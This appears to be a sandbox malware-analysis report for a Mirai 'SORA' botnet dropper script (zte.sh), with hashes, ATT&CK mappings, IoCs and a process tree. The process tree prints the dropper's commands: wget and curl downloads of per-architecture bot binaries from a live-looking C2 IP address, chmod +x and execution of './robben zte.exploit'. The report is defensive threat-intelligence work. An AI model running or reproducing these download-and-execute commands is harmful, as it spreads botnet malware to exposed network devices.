mirai | f92c27bd2bb425a9d346a0ff64592dd7d76678e9d1f5cffb2cdf7c37d74885bf

Analysis

max time kernel
34s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
09/09/2026, 15:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zte.sh
Size 2KB
Sample260909-sgd6xsysgv
SHA256 f92c27bd2bb425a9d346a0ff64592dd7d76678e9d1f5cffb2cdf7c37d74885bf
MD5 1626ff5d9a7d5cf98e7b38ff91f20ad5
SHA1 b36bff26ecde7eb92b748c0a426e6a8513f0268e
SHA512 a6fb82e90fc112f9255815cc9bd9e1b4f9de6b1b8859b7a63cbaec3b7883b0733e49ab86fc6b187ef69dd9367b7f18644a8d220c45cbccf61d88b60545967aa1
TLSH
T1C35161D432124A30BFF19D9EB9F6486470C0E092E6C5AF05D9EC66FD864CF0826D86A2
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet sora defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

150.40.127.145

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (45545) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
770	chmod
781	chmod
799	chmod
822	chmod
836	chmod
844	chmod
751	chmod
759	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/robben	752	zte.sh
/tmp/robben	760	zte.sh
/tmp/robben	771	zte.sh
/tmp/robben	782	zte.sh
/tmp/robben	800	zte.sh
/tmp/robben	824	zte.sh
/tmp/robben	837	zte.sh
/tmp/robben	845	zte.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-5.dat	upx
behavioral3/files/fstream-8.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	e1njf0paogcjmd21	760	robben

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/672/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/713/exe	robben
File opened for reading	/proc/724/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/445/exe	robben
File opened for reading	/proc/684/exe	robben
File opened for reading	/proc/687/exe	robben
File opened for reading	/proc/689/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/715/exe	robben
File opened for reading	/proc/720/exe	robben
File opened for reading	/proc/764/exe	robben
File opened for reading	/proc/690/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/721/exe	robben
File opened for reading	/proc/722/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/726/exe	robben
File opened for reading	/proc/761/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/728/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
757	curl
758	cat
755	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/robben	zte.sh
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.x86_64	curl

/tmp/zte.sh
/tmp/zte.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:724
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat sora.x86
  2⤵
  PID:750
- /bin/chmod
  chmod +x robben sora.x86 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:752
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/chmod
  chmod +x robben sora.mips sora.x86 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/robben
  ./robben zte.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:760
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.x86_64
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:769
- /bin/chmod
  chmod +x robben sora.mips sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:771
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.i468
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/cat
  cat sora.i468
  2⤵
  PID:780
- /bin/chmod
  chmod +x robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:782
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.i686
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/cat
  cat sora.i686
  2⤵
  PID:797
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:800
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:802
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:821
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:824
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm4
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/cat
  cat sora.arm4
  2⤵
  PID:835
- /bin/chmod
  chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-nxDN2H zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:837
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://150.40.127.145/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/cat
  cat sora.arm5
  2⤵
  PID:843
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:845
- /usr/bin/wget
  wget http://150.40.127.145/bins/sora.arm6
  2⤵
  PID:847

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

robben

Path /tmp/robben
Size 28KB
SHA256 ecee64f2446c402df5024227ab3217e82ce4f40fd3f509a306ce731de3fa71a4
MD5 d7f19e1854be867357dd8c63f0a3e6c5
SHA1 8b99ea57428eecdae169a9f1213e6265ea5fb789
SHA512 39495ebf58ec7024fcbfefeba3d1bfd1f1b7dfd11af42e8853fcbd9450c58959d0bfe56ee6d43893bb45a6a5fd338c6e9f1e5154647482a9185cee5e02de7f96
SSDEEP 768:yxMWBhAHuLegF1aF4NscfOl8liVQJgGlzDpbuR1JR:yxdBGuLea19acfjliyVJuL
TLSH
T102D2E0B91A0A46CEDDAEC8FAC3A413A019660E126903FC4BB4ADD7475B5B5C0B107ADC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 214B
SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
MD5 65f6781c1fd861446ef37c2b9c51364c
SHA1 88d4aa4932e110c5265b1d63657746c4a113963e
SHA512 0ed4057b1653e93330fbf07902f19ad0c7957f334d754f52446812d7af8be1b5f5f228b6f375b261b5f6e3c827b97cea3eb138fdfc1b97cc22e78b57e4c31314
TLSH
T1A5D0239EE143224B412211D03EC215D1544C1366F87645E82C817449910C63DC4CA19C
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 212B
SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
MD5 83ab6cd9a67528bbc6f4f360cb7f8d83
SHA1 07e8f17209e0569aab39f062568ff0090d9b20d4
SHA512 171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
TLSH
T126D0229EE283628B812225D03EC215D2244C23A6F97645E82C82B48A920C63DC4DA69D
MD5 SHA1 SHA512 TLSH

Submit Download

robben

Path /tmp/robben
Size 29KB
SHA256 8c5a998b2a84a17a4be7329f6f2dba30c443b2e3d33db0f26aaa397b55de6b0e
MD5 5ecef2c589a13c0360e438b4901b1f54
SHA1 f807df83446944f0f5aee5236e07e0b7e8ab20b2
SHA512 c017e2798c7de635ab030a8144311ff15c3162f6e5889d86e8a3c13f9d16033f7c43293cc677136fc9de628feafb39b97c580d9cbd3b2529aec9c9894f92ce8e
SSDEEP 768:4GaKQFH0rs3zWoDDRsjt7LB9U+BNL/LRbKs3UozM7sbUWUl:4rK7rs3Kktsjt7ImZbHz6Vl
TLSH
T173D2E1DCDBD07A06CAB86839E2BC4BA25E3731D0A2F62F1A172085DCEB5144B35DD1D5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sora.x86

Path /tmp/sora.x86
Size 27KB
SHA256 bdaf3c99c0dc9f4a9b75b30f228dd64f168de46da83546f8c3b7d93bc7298bae
MD5 cd029fd1b0312ec933cf0eb0e44b946b
SHA1 33d4a702b2a120b461498de8eb0c46e78968b5b7
SHA512 b98ed2a7beea50cb2d8abff0d23e38d26f3a098376a87fa11e5d894c169a4df2ffd06f4e0ff0b3f477a4c4976532d58de653858e08c078bd0472277103484b89
SSDEEP 768:HMwoDZLFbBy6HQHRYfeAxdd8zsKkVTJpN0NG:HolcYfe6Kzy9pqw
TLSH
T186C2E1F53E777A9BEF2500383499CE329274F022D79FA613A241820921171BDBB715ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads